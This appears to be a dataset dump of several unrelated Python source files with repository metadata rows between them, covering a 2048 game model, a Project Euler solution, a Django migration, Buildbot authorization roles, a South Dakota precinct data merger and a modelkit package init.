] | null | null | null | game2048/my_model.py | InfiniteMiracle/517021911084_2048API | 5d00d46ff31aa3c143f817f0c77fbac04159cd12 | [
"Apache-2.0"
] | null | null | null | game2048/my_model.py | InfiniteMiracle/517021911084_2048API | 5d00d46ff31aa3c143f817f0c77fbac04159cd12 | [
"Apache-2.0"
] | null | null | null | from keras.models import Sequential
from keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D
from .game import Game
from .board import NB_board
from keras.models import load_model
class the_model_512:
def __init__(self):
self.model=load_model('./game2048/final.h5')
def predict(self,board):
Real_board = NB_board(board)
direction = self.model.predict(Real_board)
move = direction.argmax()
return move | 33.571429 | 70 | 0.710638 | 63 | 470 | 5.111111 | 0.492063 | 0.083851 | 0.093168 | 0.130435 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.02681 | 0.206383 | 470 | 14 | 71 | 33.571429 | 0.836461 | 0 | 0 | 0 | 0 | 0 | 0.04034 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.153846 | false | 0 | 0.384615 | 0 | 0.692308 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
424cd126aa240b3b87b8a4d49571d41eddaa2e74 | 1,058 | py | Python | tessellation/tessellation_NMC_lite/1_create_all_configs.py | lwkobe/NMC | a59c187d35b2f929ea3a94fc2b434061d7f7993a | [
"MIT"
] | 74 | 2021-08-08T13:33:28.000Z | 2022-03-29T03:12:37.000Z | tessellation/tessellation_NMC_lite/1_create_all_configs.py | lwkobe/NMC | a59c187d35b2f929ea3a94fc2b434061d7f7993a | [
"MIT"
] | 3 | 2021-08-23T12:01:45.000Z | 2021-11-29T03:15:00.000Z | tessellation/tessellation_NMC_lite/1_create_all_configs.py | lwkobe/NMC | a59c187d35b2f929ea3a94fc2b434061d7f7993a | [
"MIT"
] | 9 | 2021-08-09T13:00:04.000Z | 2022-03-02T13:11:54.000Z | coloring_configs = [
"000000002222222",
"000000012222222",
"000000112222222",
"000001012022220",
"000001012022221",
"000001012122222",
"000001112222222",
"000011112222222",
"000101002222220",
"000101002222221",
"000101012022220",
"000101012022221",
"000101012122222",
"000101112222222",
"000110102020202",
"000110102020210",
"000110102020211",
"000110102021212",
"000110102121210",
"000110102121211",
"000110112222222",
"000111102220200",
"000111102220201",
"000111102220212",
"001111002200220",
"001111002200221",
"001111002201222",
"010110100000002",
"010110100000012",
"010110100000110",
"010110100000111",
"010110100001010",
"010110100001011",
"010110100001112",
"010110100101010",
"010110100101011",
"010110100101102",
]
import os
fin = open("template.py", 'r')
fin_lines = fin.readlines()
fin.close()
os.makedirs("xxx")
for i in range(len(coloring_configs)):
fout = open("xxx/"+coloring_configs[i]+".py", 'w')
fout.write('config_string = "'+coloring_configs[i]+'"\n')
for j in range(1,len(fin_lines)):
fout.write(fin_lines[j])
fout.close()
| 18.892857 | 58 | 0.748582 | 93 | 1,058 | 8.430108 | 0.688172 | 0.076531 | 0.040816 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.569089 | 0.07656 | 1,058 | 56 | 59 | 18.892857 | 0.233367 | 0 | 0 | 0 | 0 | 0 | 0.564684 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.02 | 0 | 0.02 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
424d60a26fc3a911d3801a9e96791a72ddd9d26d | 526 | py | Python | python/p003_2.py | v0rs4/project_euler_solutions | be7578c52125df39e01583f366591a9416ea94d7 | [
"MIT"
] | null | null | null | python/p003_2.py | v0rs4/project_euler_solutions | be7578c52125df39e01583f366591a9416ea94d7 | [
"MIT"
] | null | null | null | python/p003_2.py | v0rs4/project_euler_solutions | be7578c52125df39e01583f366591a9416ea94d7 | [
"MIT"
] | null | null | null | import sys
from functools import reduce
def create_prime_gen():
return (x for x in range(2, sys.maxsize) if all(x % y != 0 for y in range(2, x)))
def find_prime_factorization(n):
pf = []
pgen = create_prime_gen()
while True:
p = next(pgen)
while n % p == 0:
pf.append(p)
n //= p
if n == 1:
return pf
def solve(n):
return find_prime_factorization(n)
if __name__ == "__main__":
# print(solve(600851475143))
solve(600851475143)
| 21.04 | 85 | 0.568441 | 75 | 526 | 3.773333 | 0.48 | 0.077739 | 0.09894 | 0.162544 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.08078 | 0.31749 | 526 | 24 | 86 | 21.916667 | 0.707521 | 0.04943 | 0 | 0 | 0 | 0 | 0.016064 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.111111 | 0.111111 | 0.444444 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 2 |
424f990004686d21705d7a16af09bad3eb70dff4 | 472 | py | Python | Curso Python/ex041.py | sandro-fidelis/Cursos | cee1960181b1309be93034694cab8cf2878e2194 | [
"MIT"
] | null | null | null | Curso Python/ex041.py | sandro-fidelis/Cursos | cee1960181b1309be93034694cab8cf2878e2194 | [
"MIT"
] | null | null | null | Curso Python/ex041.py | sandro-fidelis/Cursos | cee1960181b1309be93034694cab8cf2878e2194 | [
"MIT"
] | null | null | null | from datetime import date
aa = date.today()
an = int(input('Digite o ano do nascimento do atleta: '))
i = aa.year - an
print('O atleta tem a idade de {} anos'.format(i))
if i <= 9:
print('Categoria do atleta é MIRIM')
elif i > 9 and i <= 14:
print('Categoria do atleta é INFANTIL')
elif i > 14 and i <= 19:
print('Categoria do atleta é JUNIOR')
elif i > 19 and i <= 25:
print('Categoria do atleta é SÊNIOR')
else:
print('Categoria do atleta é MASTER')
| 29.5 | 57 | 0.652542 | 83 | 472 | 3.710843 | 0.46988 | 0.155844 | 0.25974 | 0.357143 | 0.373377 | 0 | 0 | 0 | 0 | 0 | 0 | 0.032609 | 0.220339 | 472 | 15 | 58 | 31.466667 | 0.804348 | 0 | 0 | 0 | 0 | 0 | 0.444915 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.066667 | 0 | 0.066667 | 0.4 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
425e9ef291cbd92ed5a04c13f8620fee1b0beae1 | 2,700 | py | Python | python-lib/dku_error_analysis_decision_tree/tree_handler.py | dataiku/dss-plugin-model-error-analysis | 4c0f42a5c0aa1710005db3d81ca9bd9d7f829e6b | [
"Apache-2.0"
] | null | null | null | python-lib/dku_error_analysis_decision_tree/tree_handler.py | dataiku/dss-plugin-model-error-analysis | 4c0f42a5c0aa1710005db3d81ca9bd9d7f829e6b | [
"Apache-2.0"
] | 2 | 2021-09-29T15:08:25.000Z | 2022-01-13T11:20:58.000Z | python-lib/dku_error_analysis_decision_tree/tree_handler.py | dataiku/dss-plugin-model-error-analysis | 4c0f42a5c0aa1710005db3d81ca9bd9d7f829e6b | [
"Apache-2.0"
] | 1 | 2021-09-10T12:25:08.000Z | 2021-09-10T12:25:08.000Z | import logging
from dku_error_analysis_mpp.dku_error_analyzer import DkuErrorAnalyzer
from mealy import ErrorAnalyzerConstants
LOGGER = logging.getLogger(__name__)
logging.basicConfig(level=logging.INFO, format="Error Analysis Plugin %(levelname)s - %(message)s")
class TreeHandler(object):
DEFAULT_MAX_NR_FEATURES = 5
def __init__(self):
self.initialize()
self.analyzer = None
def initialize(self):
self.selected_feature_ids = set()
self.already_fetched_locally = set()
self.already_fetched_globally = set()
self.current_node_id = None
@property
def tree(self):
if self.analyzer is not None:
return self.analyzer.tree
def train_tree(self):
"""
Fit the Decision Tree and parse it so it can be viewed in the webapp
:return: The accuracy of the original model, computed on the part of the test set used to train the Error Analyzer Tree
"""
self.analyzer.fit()
self.selected_feature_ids = set(range(min(len(self.tree.ranked_features), self.DEFAULT_MAX_NR_FEATURES)))
summary = self.analyzer.evaluate(output_format='dict')
confidence_decision = summary[ErrorAnalyzerConstants.CONFIDENCE_DECISION]
if not confidence_decision:
# TODO: add message in UI
LOGGER.warning("Warning: the built Error Analyzer Tree might not be representative of the original model performances.")
return summary[ErrorAnalyzerConstants.PRIMARY_MODEL_TRUE_ACCURACY] # TODO: compute proper value
def set_error_analyzer(self, original_model_handler):
self.analyzer = DkuErrorAnalyzer(original_model_handler)
def set_current_node_id(self, node_id):
self.current_node_id = node_id
self.already_fetched_locally = set()
def set_selected_feature_ids(self, feature_ids):
new_ids = feature_ids - self.selected_feature_ids
if self.current_node_id is not None:
self.already_fetched_locally |= new_ids
self.selected_feature_ids = feature_ids
def get_stats_node(self, node_id):
self.set_current_node_id(node_id)
return self._get_stats_node(node_id, self.already_fetched_locally)
def get_stats_root(self):
return self._get_stats_node(0, self.already_fetched_globally)
def _get_stats_node(self, node_id, excluded_id_set, nr_bins=10):
stats = {}
for idx in self.selected_feature_ids - excluded_id_set:
feature_name = self.tree.ranked_features[idx]["name"]
stats[feature_name] = self.tree.get_stats(node_id, feature_name, nr_bins)
excluded_id_set.add(idx)
return stats
| 38.571429 | 132 | 0.707778 | 358 | 2,700 | 5.03352 | 0.301676 | 0.039956 | 0.059933 | 0.061043 | 0.177026 | 0.062153 | 0.027747 | 0 | 0 | 0 | 0 | 0.001894 | 0.217778 | 2,700 | 69 | 133 | 39.130435 | 0.851326 | 0.089259 | 0 | 0.040816 | 0 | 0 | 0.06554 | 0 | 0 | 0 | 0 | 0.014493 | 0 | 1 | 0.204082 | false | 0 | 0.061224 | 0.020408 | 0.408163 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
425f40275df785288c57836abef08f1213302d78 | 853 | py | Python | me2ushop/migrations/0080_auto_20210520_1418.py | Dogechi/Me2U | 0852600983dc1058ee347f4065ee801e16c1249e | [
"MIT"
] | null | null | null | me2ushop/migrations/0080_auto_20210520_1418.py | Dogechi/Me2U | 0852600983dc1058ee347f4065ee801e16c1249e | [
"MIT"
] | 9 | 2020-06-06T01:16:25.000Z | 2021-06-04T23:20:37.000Z | me2ushop/migrations/0080_auto_20210520_1418.py | Me2U-Afrika/Me2U | aee054afedff1e6c87f87494eaddf044e217aa95 | [
"MIT"
] | null | null | null | # Generated by Django 3.1.1 on 2021-05-20 12:18
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('me2ushop', '0079_auto_20210520_1340'),
]
operations = [
migrations.AlterField(
model_name='address',
name='payment_option',
field=models.CharField(choices=[('D', 'Debit Card'), ('C', 'Cash On Delivery'), ('M', 'M-Pesa'), ('S', 'Stripe'), ('P', 'Paypal')], max_length=2),
),
migrations.AlterField(
model_name='product',
name='in_stock',
field=models.BooleanField(default=True, editable=False),
),
migrations.AlterField(
model_name='product',
name='is_active',
field=models.BooleanField(default=True, editable=False),
),
]
| 29.413793 | 158 | 0.568581 | 88 | 853 | 5.397727 | 0.670455 | 0.126316 | 0.157895 | 0.183158 | 0.366316 | 0.366316 | 0.197895 | 0 | 0 | 0 | 0 | 0.053834 | 0.28136 | 853 | 28 | 159 | 30.464286 | 0.721044 | 0.052755 | 0 | 0.454545 | 1 | 0 | 0.163772 | 0.028536 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.045455 | 0 | 0.181818 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
426a05f79d0679d796e2088ccc7414212cac5403 | 2,690 | py | Python | bb-master/sandbox/lib/python3.5/site-packages/buildbot/www/authz/roles.py | Alecto3-D/testable-greeter | 09e8e488edfb7e46cf5867b2b5a6ebe0b1929f78 | [
"MIT"
] | 2 | 2017-07-11T18:56:27.000Z | 2017-07-28T14:01:12.000Z | bb-master/sandbox/lib/python3.5/site-packages/buildbot/www/authz/roles.py | Alecto3-D/testable-greeter | 09e8e488edfb7e46cf5867b2b5a6ebe0b1929f78 | [
"MIT"
] | 1 | 2017-07-28T13:53:41.000Z | 2017-07-31T15:30:40.000Z | bb-master/sandbox/lib/python3.5/site-packages/buildbot/www/authz/roles.py | Alecto3-D/testable-greeter | 09e8e488edfb7e46cf5867b2b5a6ebe0b1929f78 | [
"MIT"
] | null | null | null | # This file is part of Buildbot. Buildbot is free software: you can
# redistribute it and/or modify it under the terms of the GNU General Public
# License as published by the Free Software Foundation, version 2.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
# details.
#
# You should have received a copy of the GNU General Public License along with
# this program; if not, write to the Free Software Foundation, Inc., 51
# Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
#
# Copyright Buildbot Team Members
from __future__ import absolute_import
from __future__ import print_function
from future.utils import iteritems
class RolesFromBase(object):
def __init__(self):
pass
def getRolesFromUser(self, userDetails):
return []
def setAuthz(self, authz):
self.authz = authz
self.master = authz.master
class RolesFromGroups(RolesFromBase):
def __init__(self, groupPrefix=""):
RolesFromBase.__init__(self)
self.groupPrefix = groupPrefix
def getRolesFromUser(self, userDetails):
roles = []
if 'groups' in userDetails:
for group in userDetails['groups']:
if group.startswith(self.groupPrefix):
roles.append(group[len(self.groupPrefix):])
return roles
class RolesFromEmails(RolesFromBase):
def __init__(self, **kwargs):
RolesFromBase.__init__(self)
self.roles = {}
for role, emails in iteritems(kwargs):
for email in emails:
self.roles.setdefault(email, []).append(role)
def getRolesFromUser(self, userDetails):
if 'email' in userDetails:
return self.roles.get(userDetails['email'], [])
return []
class RolesFromOwner(RolesFromBase):
def __init__(self, role):
RolesFromBase.__init__(self)
self.role = role
def getRolesFromUser(self, userDetails, owner):
if 'email' in userDetails:
if userDetails['email'] == owner and owner is not None:
return [self.role]
return []
class RolesFromUsername(RolesFromBase):
def __init__(self, roles, usernames):
self.roles = roles
if None in usernames:
from buildbot import config
config.error('Usernames cannot be None')
self.usernames = usernames
def getRolesFromUser(self, userDetails):
if userDetails.get('username') in self.usernames:
return self.roles
return []
| 30.224719 | 79 | 0.666171 | 312 | 2,690 | 5.608974 | 0.384615 | 0.036571 | 0.031429 | 0.097143 | 0.112 | 0.032 | 0 | 0 | 0 | 0 | 0 | 0.005982 | 0.254275 | 2,690 | 88 | 80 | 30.568182 | 0.866401 | 0.251301 | 0 | 0.245283 | 0 | 0 | 0.032016 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.207547 | false | 0.018868 | 0.075472 | 0.018868 | 0.528302 | 0.018868 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
426c4f10a84c828a153a93fde105ebc7b9991812 | 17,802 | py | Python | 2016/south_dakota_pp/sd_precinct.py | democracyworks/hand-collection-to-vip | 0b6e90f6055c1325930b53905bba2d1bfc111457 | [
"BSD-3-Clause"
] | null | null | null | 2016/south_dakota_pp/sd_precinct.py | democracyworks/hand-collection-to-vip | 0b6e90f6055c1325930b53905bba2d1bfc111457 | [
"BSD-3-Clause"
] | 2 | 2016-08-12T20:52:24.000Z | 2021-02-08T20:24:27.000Z | 2016/south_dakota_pp/sd_precinct.py | democracyworks/hand-collection-to-vip | 0b6e90f6055c1325930b53905bba2d1bfc111457 | [
"BSD-3-Clause"
] | 1 | 2018-08-17T21:16:30.000Z | 2018-08-17T21:16:30.000Z | """
Contains class that generates the 'precinct.txt' file.
ballot_style_id,
electoral_district_ids,
external_identifier_type,
external_identifier_othertype,
external_identifier_value,
is_mail_only,
locality_id,
name,
number,
polling_location_ids,
precinct_split_name,
ward,
id
"""
import pandas as pd
import config
from sd_locality import LocalityTxt
from sd_polling_location import PollingLocationTxt
# voter file
f = 'tsmart_google_geo_20160817_SD_20150914.txt'
voter_file = "C:\Users\Aaron Garris\democracyworks\hand-collection-to-vip\\south_dakota_pp\source\\" + f
class MergePollingAndVF(object):
def __init__(self):
pass
def create_polling_place_df(self):
# build locality dataframe at run time
colnames = ['county', 'official_title', 'ocd_division', 'homepage_url', 'phone', 'email', 'precinct',
'location_name', 'address1', 'directions', 'city', 'state', 'zip_code', 'start_time', 'end_time',
'start_date', 'end_date', 'precint_notes']
polling_place_df = pd.read_csv(config.input_path + config.state_file,
names=colnames, sep=',',
encoding='ISO-8859-1',
skiprows=1,
dtype='str'
)
polling_place_df['index'] = polling_place_df.index + 1
pl = PollingLocationTxt(polling_place_df)
pp_df = pl.export_for_locality_precinct()
del polling_place_df
lt = LocalityTxt(pp_df, config.state)
lt_df = lt.export_for_precinct()
lt_df['merge_key'] = lt_df.apply(
lambda row: self.create_merge_key(row['county'], row['precinct']), axis=1)
#print lt_df
del pp_df
return lt_df
def create_voter_file_df(self):
use = ['vf_source_state', 'vf_county_code', 'vf_county_name', 'vf_cd', 'vf_sd', 'vf_hd', 'vf_township',
'vf_ward',
'vf_precinct_id', 'vf_precinct_name', 'vf_county_council', 'vf_reg_cass_address_full',
'vf_reg_cass_city',
'vf_reg_cass_state', 'vf_reg_cass_zip', 'vf_reg_cass_zip4', 'vf_reg_cass_street_num',
'vf_reg_cass_pre_directional',
'vf_reg_cass_street_name', 'vf_reg_cass_street_suffix', 'vf_reg_cass_post_directional',
'vf_reg_cass_unit_designator',
'vf_reg_cass_apt_num', 'van_precinctid']
# state voter file import
df = pd.read_csv(voter_file, sep='\t', names=config.voter_file_columns, usecols=use,
encoding='ISO-8859-1', skiprows=1, iterator=True,
chunksize=1000,
dtype='str'
)
voter_file_df = pd.concat(df, ignore_index=True)
# Drops duplicate rows based on county name and precinct name leaving a smaller dataframe with the necessary data for precinct.txt.
voter_file_df = voter_file_df.drop_duplicates(subset=['vf_county_name', 'vf_precinct_name'])
# tn_voter_file_df.loc[tn_voter_file_df['vf_county_name'].isin(['BROOKINGS', 'YANKTON', 'BROWN']), 'vf_precinct_name'] = 'COUNTY WIDE VOTING CENTER'
voter_file_df['merge_key'] = voter_file_df['vf_county_name'] + '-' + voter_file_df['vf_precinct_name']
del df
return voter_file_df
def create_merge_key(self, county, precinct):
"""Creates the value used to merge the polling place dataframe with the voter file dataframe.
The conditionals modify hand collected precinct names on a per county basis
to match the equivalent name in the voter file.
"""
county = county.upper().replace(' COUNTY', '')
precinct = str(precinct).upper()
try:
if county == 'ZIEBACH':
return county + '-0' + precinct
elif county == 'TRIPP':
return county + '-' + precinct
elif county == 'MINNEHAHA':
if precinct.startswith('VP'):
return county + '-' + precinct
else:
return county + '-0' + precinct
elif county == 'MELLETTE':
return county + '-0' + precinct
elif county == 'MARSHALL':
return county + '-' + precinct
elif county == 'STANLEY':
return county + '-0' + precinct
elif county == 'SANBORN':
return county + '-0' + precinct
elif county == 'MINER':
return county + '-0' + precinct
elif county == 'CAMPBELL':
return county + '-0' + precinct
elif county == 'BUFFALO':
return county + '-0' + precinct
elif county == 'BON HOMME':
return county + '-0' + precinct
elif county == 'BRULE':
return county + '-0' + precinct
elif county == 'PERKINS':
if len(precinct) == 1:
return county + '-0' + precinct
else:
return county + '-' + precinct
elif county == 'MOODY':
if len(precinct) == 1:
return county + '-0' + precinct
else:
return county + '-' + precinct
elif county == 'MCCOOK':
return county + '-0' + precinct
elif county == 'LYMAN':
if len(precinct) == 1:
return county + '-0' + precinct
else:
return county + '-' + precinct
elif county == 'HAND':
if len(precinct) == 1:
return county + '-0' + precinct
else:
return county + '-' + precinct
elif county == 'JACKSON':
return county + '-0' + precinct
elif county == 'HUTCHINSON':
return county + '-0' + precinct
elif county == 'DAY':
if len(precinct) == 1:
return county + '-0' + precinct
else:
return county + '-' + precinct
elif county == 'CHARLES MIX':
if len(precinct) == 1:
return county + '-0' + precinct
else:
return county + '-' + precinct
elif county == 'DEUEL':
if len(precinct) == 1:
return county + '-0' + precinct
else:
return county + '-' + precinct
elif county == 'CUSTER':
if len(precinct) == 1:
return county + '-0' + precinct
else:
return county + '-' + precinct
elif county == 'CORSON':
if len(precinct) == 1:
return county + '-0' + precinct
else:
return county + '-' + precinct
elif county == 'LINCOLN':
if precinct == '13-LaValley':
return county + '-' + precinct
else:
return county + '-' + precinct.title()
elif county == 'SULLY':
return county + '-0' + precinct
elif county == 'MCPHERSON':
return county + '-0' + precinct
elif county == 'FAULK':
return county + '-0' + precinct
elif county == 'HUGHES':
if len(precinct) == 1:
return county + '-0' + precinct
else:
return county + '-' + precinct
elif county == 'HAMLIN':
if len(precinct) == 1:
return county + '-0' + precinct
else:
return county + '-' + precinct
elif county == 'HANSON':
if len(precinct) == 1:
return county + '-0' + precinct
else:
return county + '-' + precinct
elif county == 'CORSON':
if len(precinct) == 1:
return county + '-0' + precinct
else:
return county + '-' + precinct
elif county == 'DAVISON':
if len(precinct) == 1:
return county + '-0' + precinct
else:
return county + '-' + precinct
elif county == 'DEWEY':
if len(precinct) == 1:
return county + '-0' + precinct
else:
return county + '-' + precinct
elif county == 'DOUGLAS':
if len(precinct) == 1:
return county + '-0' + precinct
else:
return county + '-' + precinct
elif county == 'GREGORY':
if len(precinct) == 1:
return county + '-0' + precinct
else:
return county + '-' + precinct
elif county == 'HAAKON':
if len(precinct) == 1:
return county + '-0' + precinct
else:
return county + '-' + precinct
elif county == 'CLARK':
if len(precinct) == 1:
return county + '-0' + precinct
else:
return county + '-' + precinct
elif county == 'BUTTE':
if len(precinct) == 1:
return county + '-0' + precinct
else:
return county + '-' + precinct
elif county == 'LYMAN':
return county + '-0' + precinct
elif county == 'WALWORTH':
return county + '-0' + precinct
elif county == 'JERAULD':
return county + '-0' + precinct
elif county == 'JONES':
return county + '-0' + precinct
elif county == 'BRULE':
return county + '-0' + precinct
elif county == 'AURORA':
return county + '-0' + precinct
elif county == 'HYDE':
return county + '-0' + precinct
elif county == 'UNION':
if len(precinct) == 1:
return county + '-0' + precinct
else:
return county + '-' + precinct
elif county == 'TURNER':
if len(precinct) == 1:
return county + '-0' + precinct
else:
return county + '-' + precinct
elif county == 'ROBERTS':
if len(precinct) == 1:
return county + '-0' + precinct
else:
return county + '-' + precinct
elif county == 'SPINK':
if len(precinct) == 1:
return county + '-0' + precinct
else:
return county + '-' + precinct
elif county == 'MEADE':
if len(precinct) == 1:
return county + '-0' + precinct
else:
return county + '-' + precinct
elif county == 'LAWRENCE':
if len(precinct) == 1:
return county + '-0' + precinct
else:
return county + '-' + precinct
elif county == 'HARDING':
if len(precinct) == 1:
return county + '-0' + precinct
else:
return county + '-' + precinct
elif county == 'EDMUNDS':
if len(precinct) == 1:
return county + '-0' + precinct
else:
return county + '-' + precinct
elif county == 'CLAY':
if len(precinct) == 1:
return county + '-0' + precinct
else:
return county + '-' + precinct
else:
mk = county + '-' + precinct
return mk
except:
pass
def merge(self):
pp = self.create_polling_place_df()
vf = self.create_voter_file_df()
# create dataframe from voter file and locality file/date
merged_df = pd.merge(vf, pp, how='outer', on=['merge_key'])
merged_df.to_csv(config.output + 'sd_merge_check.txt', index=False, encoding='utf-8')
merged_df['index'] = merged_df.index + 1
return merged_df
class PrecinctTxt(object):
"""#
"""
def __init__(self, merged_df):
self.base_df = merged_df
#print self.base_df
def ballot_style_id(self):
"""#"""
return ''
def electoral_district_ids(self):
"""#"""
return ''
def get_external_identifier_type(self):
"""#"""
return "ocd-id"
def get_external_identifier_othertype(self):
"""#"""
return ''
def get_external_identifier_value(self, external_identifier_value):
"""Extracts external identifier (ocd-division)."""
return external_identifier_value
def is_mail_only(self):
"""#"""
pass
def locality_id(self, locality_id):
"""Returns the value from the 'id_y' column. Columns appended with '_y' in the merged dataframe
are from locality.txt"""
return locality_id
def name(self, vf_precinct_name):
"""#"""
return vf_precinct_name
def number(self):
"""#"""
return ''
def get_other_type(self):
# create conditional when/if column is present
return ''
def polling_location_ids(self, polling_location_ids):
return polling_location_ids
def create_precinct_split_name(self, van_precinctid):
"""#"""
return ''
#return 'split' + str(van_precinctid) + '-' + str(index)
def ward(self, vf_ward):
"""#"""
return vf_ward
def create_id(self, van_precinctid):
"""Uses id from voter file."""
#print 'precinct id', van_precinctid
return 'pre' + str(van_precinctid)
def build_precinct_txt(self):
"""
New columns that match the 'locality.txt' template are inserted into the DataFrame, apply() is
used to run methods that generate the values for each row of the new columns.
"""
m = self.base_df
self.base_df['ballot_style_id'] = self.base_df.apply(
lambda row: self.ballot_style_id(), axis=1)
self.base_df['electoral_district_ids'] = self.base_df.apply(
lambda row: self.electoral_district_ids(), axis=1)
self.base_df['external_identifier_type'] = self.base_df.apply(
lambda row: self.get_external_identifier_type(), axis=1)
self.base_df['external_identifier_othertype'] = self.base_df.apply(
lambda row: self.get_external_identifier_othertype(), axis=1)
self.base_df['external_identifier_value'] = self.base_df.apply(
lambda row: self.get_external_identifier_value(row['external_identifier_value']), axis=1)
self.base_df['is_mail_only'] = self.base_df.apply(
lambda row: self.is_mail_only(), axis=1)
self.base_df['locality_id'] = self.base_df.apply(
lambda row: self.locality_id(row['id']), axis=1)
self.base_df['name'] = self.base_df.apply(
lambda row: self.name(row['vf_precinct_name']), axis=1)
self.base_df['number'] = self.base_df.apply(
lambda row: self.number(), axis=1)
self.base_df['polling_location_ids'] = self.base_df.apply(
lambda row: self.polling_location_ids(row['polling_location_ids_for_precincts']), axis=1)
self.base_df['precinct_split_name'] = self.base_df.apply(
lambda row: self.create_precinct_split_name(row['van_precinctid']), axis=1)
self.base_df['ward'] = self.base_df.apply(
lambda row: self.ward(row['vf_ward']), axis=1)
self.base_df['id'] = self.base_df.apply(
lambda row: self.create_id(row['van_precinctid']), axis=1)
return self.base_df
def write_precinct_txt(self):
"""Drops base DataFrame columns then writes final dataframe to text or csv file"""
pt = self.build_precinct_txt()
print type(pt)
pt = pt[pt['id'].isin(['prenan']) == False]
#pt = pt[pt['precinct'].isin(['County wide voting center']) == False]
prt = pt.drop_duplicates(subset=['id'])
cols = ['ballot_style_id', 'electoral_district_ids', 'external_identifier_type', 'external_identifier_othertype',
'external_identifier_value', 'is_mail_only', 'locality_id', 'name', 'number', 'polling_location_ids',
'precinct_split_name', 'ward', 'id']
prt = prt.reindex(columns=cols)
prt.to_csv(config.output + 'precinct.txt', index=False, encoding='utf-8') # send to csv file
def main():
m = MergePollingAndVF()
merged_df = m.merge()
pr = PrecinctTxt(merged_df)
pr.write_precinct_txt()
if __name__ == '__main__':
main() | 37.39916 | 157 | 0.497865 | 1,778 | 17,802 | 4.779528 | 0.168166 | 0.12144 | 0.112262 | 0.128501 | 0.49188 | 0.467169 | 0.358555 | 0.33702 | 0.310191 | 0.310191 | 0 | 0.012499 | 0.39327 | 17,802 | 476 | 158 | 37.39916 | 0.77428 | 0.036681 | 0 | 0.472464 | 1 | 0.002899 | 0.121987 | 0.035157 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.008696 | 0.011594 | null | null | 0.002899 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
42877b0932ec7cc0e7c3d637b379276b25586868 | 304 | py | Python | modelkit/__init__.py | tgenin/modelkit | 2c67b7e12575fa51221f713c2c094030228402ee | [
"MIT"
] | null | null | null | modelkit/__init__.py | tgenin/modelkit | 2c67b7e12575fa51221f713c2c094030228402ee | [
"MIT"
] | null | null | null | modelkit/__init__.py | tgenin/modelkit | 2c67b7e12575fa51221f713c2c094030228402ee | [
"MIT"
] | null | null | null | import warnings
from modelkit.core.library import ModelLibrary, load_model # NOQA
from modelkit.core.model import Model # NOQA
# Silence Tensorflow warnings
# https://github.com/tensorflow/tensorflow/issues/30427
warnings.simplefilter(action="ignore", category=FutureWarning)
__version__ = "0.0.9"
